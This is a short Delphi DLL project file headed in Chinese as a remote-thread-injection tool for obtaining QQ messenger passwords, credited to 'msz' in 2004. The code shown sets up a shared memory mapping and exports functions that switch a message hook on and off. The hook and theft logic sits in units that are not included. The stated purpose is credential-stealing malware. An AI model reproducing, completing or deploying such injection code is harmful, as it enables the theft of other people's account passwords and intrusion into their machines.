insert.dpr

远程线程注入获取QQ密码远程线程注入获取QQ密码

(**************writen by msz 2004-12-06 [e-mail],  some code from lmz**********************)
library  Insert;

uses
  Windows,
  Messages,
  publics in 'publics.pas',
  JumpHook in 'JumpHook.pas';

procedure DLLProcess(dwReason: integer);
begin
  if dwReason=DLL_PROCESS_DETACH then
  begin
    if (TheNodeP<>nil) then UnmapViewOfFile(TheNodeP);
    if (FileMapH<>0)   then CloseHandle(FileMapH);
  end;
end;

exports
  GetMsgHookOn, GetMsgHookOff;

begin
  FileMapH := OpenFileMapping(FILE_MAP_ALL_ACCESS, False, 'HookExplorer8Mazi');
  if FileMaph<>0 then
    TheNodeP := MapViewOfFile(FileMapH, FILE_MAP_ALL_ACCESS, 0, 0, 0);
  DllProc := @DLLProcess;
end.